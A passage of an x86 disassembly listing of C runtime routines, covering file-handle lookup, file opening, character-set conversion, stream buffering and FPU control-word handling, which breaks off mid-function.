sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
nop
call near ptr 262082Dh
test eax, eax
jnz short loc_424125
nop
call near ptr 269086Bh
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDE0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: ___:00429020o
mov eax, dword_4DD020
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD020, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD020, esi
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D568
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC01C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7E8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D578
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD040[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5D8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: ___:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE1C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFAC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DBFF8, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDDC, 16h
mov dword_4DBDE0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDE4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDE0, 0
mov dword_4DBDDC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 2730000h
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
nop
call near ptr 2630000h
test eax, eax
jnz short loc_424419
push esi
nop
call near ptr 2670770h
loc_424405: ; CODE XREF: sub_42423B+1B6j
nop
call near ptr 269086Bh
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDE0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFB4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
nop
call near ptr 2610000h
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push ebx
nop
call near ptr 2620000h
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFB4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE84
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call near ptr 2620000h
nop
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 2710000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call near ptr 2710000h
nop
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call near ptr 2610000h
nop
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE84, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D084
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBE94
call near ptr 28410A4h
nop
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE84, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D084
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBE94
call near ptr 2710000h
nop
test eax, eax
mov eax, dword_43D084
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBE94
nop
call near ptr 2710000h
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
